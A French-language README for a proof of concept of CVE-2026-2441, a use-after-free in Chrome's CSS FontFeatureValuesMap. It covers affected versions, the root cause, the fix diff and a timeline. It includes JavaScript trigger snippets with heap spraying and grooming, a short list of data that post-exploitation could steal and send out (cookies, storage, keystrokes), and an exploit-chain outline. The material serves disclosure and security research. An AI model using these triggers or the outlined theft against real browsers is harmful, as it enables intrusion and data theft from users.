
Preuve de concept pour CVE-2026-2441, une utilisation après libération dans le moteur CSS de Chrome, démontrant un crash du moteur de rendu et une potentielle exécution de code en sandbox via un HTML conçu.
CVSS 8.8 (Élevé) | Exploité activement dans la nature | RCE du moteur de rendu (sandboxé)
Une vulnérabilité use-after-free dans le moteur CSS Blink de Google Chrome qui permet à un attaquant distant d'exécuter du code arbitraire dans le sandbox du navigateur via une page HTML conçue à cet effet.
| Champ | Valeur |
|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8 (Élevé) |
| Type | Use-After-Free (CWE-416) |
| Composant | Blink CSS — CSSFontFeatureValuesMap |
| Fichier source | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| Commit de correctif | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| Signaleur | Shaheen Fazim (2026-02-11) |
| Date du correctif | 2026-02-13 |
| Dans la nature | Oui — Google a confirmé une exploitation active |
| Plateforme | Vulnérable | Corrigé |
|---|---|---|
| Windows / macOS (Stable) | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux (Stable) | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS (Extended Stable) | < 144.0.7559.177 | >= 144.0.7559.177 |
| Navigateurs basés sur Chromium (Edge, Brave, Opera, Vivaldi) | Consulter l'avis du fournisseur | Variable |
FontFeatureValuesMapIterationSource stockait un pointeur brut (const FontFeatureAliases* aliases_) vers la HashMap interne FontFeatureAliases. Lorsque la map est modifiée pendant l'itération via set() ou delete(), la HashMap est ré-hashée — allouant un nouveau stockage et libérant l'ancien. Le pointeur brut devient dangereux (dangling), et le prochain appel à FetchNextItem() lit de la mémoire libérée.
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = pointeur brut vers la HashMap interne
→ iterator_ = aliases_->begin()
FetchNextItem()
→ lit iterator_->key (via aliases_)
Si map.set() / map.delete() est appelé entre les itérations :
→ La HashMap est ré-hashée (nouvelle allocation, ancienne libérée)
→ aliases_ → pointeur dangereux (dangling)
→ iterator_ → invalidé
→ Prochain FetchNextItem() → USE-AFTER-FREE
- const FontFeatureAliases* aliases_; // pointeur brut → dangereux après ré-hashage
+ const FontFeatureAliases aliases_; // copie profonde → insensible au ré-hashage
Le correctif remplace le pointeur brut par une copie profonde de la HashMap. Même si la map d'origine est ré-hashée, l'itérateur opère sur sa propre copie, empêchant le pointeur dangereux.
poc.html dans une version vulnérable de Chrome (< 145.0.7632.75)| Version de Chrome | Comportement attendu |
|---|---|
| < 145.0.7632.75 (non corrigé) | Crash du moteur de rendu — STATUS_ACCESS_VIOLATION (Windows) ou SIGSEGV (Linux/macOS). Chrome affiche l'erreur « Impossible d'ouvrir cette page ». |
| >= 145.0.7632.75 (corrigé) | Pas de crash — la PoC s'exécute jusqu'au bout, toutes les entrées sont lues normalement. |
Lorsqu'elle est ouverte dans une version vulnérable de Chrome, le processus du moteur de rendu plante avec STATUS_ACCESS_VIOLATION :
Impossible d'ouvrir cette page
Code d'erreur : STATUS_ACCESS_VIOLATION
Cela confirme que l'UAF est déclenchée — le pointeur dangereux accède à de la mémoire libérée/non mappée, provoquant la terminaison du processus du moteur de rendu.
La PoC déclenche l'UAF via trois méthodes indépendantes :
entries() + boucle de mutationconst iterator = map.entries();
while (step < 20) {
iterator.next(); // lecture via le pointeur (désormais dangereux)
map.delete(key); // déclenche le ré-hashage
for (i = 0; i < 512; i++)
map.set("spray_" + i, [i]); // force la réallocation
}
for...of + mutation concurrentefor (const [k, v] of map) {
map.delete(k);
for (i = 0; i < 512; i++)
map.set("alt_" + i, [i]);
}
requestAnimationFrame + recalcul de mise en pagefunction rafTrigger() {
document.body.offsetWidth; // force le recalcul de mise en page
const result = iterator.next();
map.delete(k);
for (i = 0; i < 512; i++)
map.set("raf_" + i, [i]);
requestAnimationFrame(rafTrigger);
}
Chaque méthode inclut également un grooming du tas (heap grooming) — allouant 50 règles @font-feature-values de même taille pour rendre la disposition du tas prévisible en vue d'une exploitation potentielle.
document.cookie, localStorage, sessionStorage, valeurs des champs de formulairefetch() / WebSocket / sendBeacon()addEventListener('keydown')Lorsqu'elle est combinée à une vulnérabilité distincte d'évasion du sandbox :
RCE du moteur de rendu (CVE-2026-2441)
→ Exploitation Mojo IPC → RCE du processus navigateur
→ Exploitation du noyau → Compromission totale du système
→ Installation de malware / ransomware / spyware
→ Accès au système de fichiers, mouvement latéral, persistance
Chaînes d'exploitation réelles utilisant des UAF similaires dans les navigateurs :
Cette vulnérabilité est exploitable via un téléchargement furtif (drive-by download) — aucune interaction de l'utilisateur au-delà de la visite d'une page malveillante n'est requise :
chrome://flags/#site-isolation-trial-opt-out)| Date | Événement |
|---|---|
| 2026-02-11 | Vulnérabilité signalée par Shaheen Fazim |
| 2026-02-13 | Google publie Chrome 145.0.7632.75/76 (Windows/macOS), 144.0.7559.75 (Linux) |
| 2026-02-13 | Google reconnaît une exploitation dans la nature |
| 2026-02-16 | Vivaldi et Opera publient des correctifs |
Si vous trouvez cette recherche utile, pensez à m'offrir un café :
Cette preuve de concept est fournie à des fins éducatives et de recherche en sécurité autorisée uniquement. L'utilisation de cette PoC contre des systèmes sans autorisation explicite est illégale et contraire à l'éthique. L'auteur n'est pas responsable de toute utilisation abusive.
MIT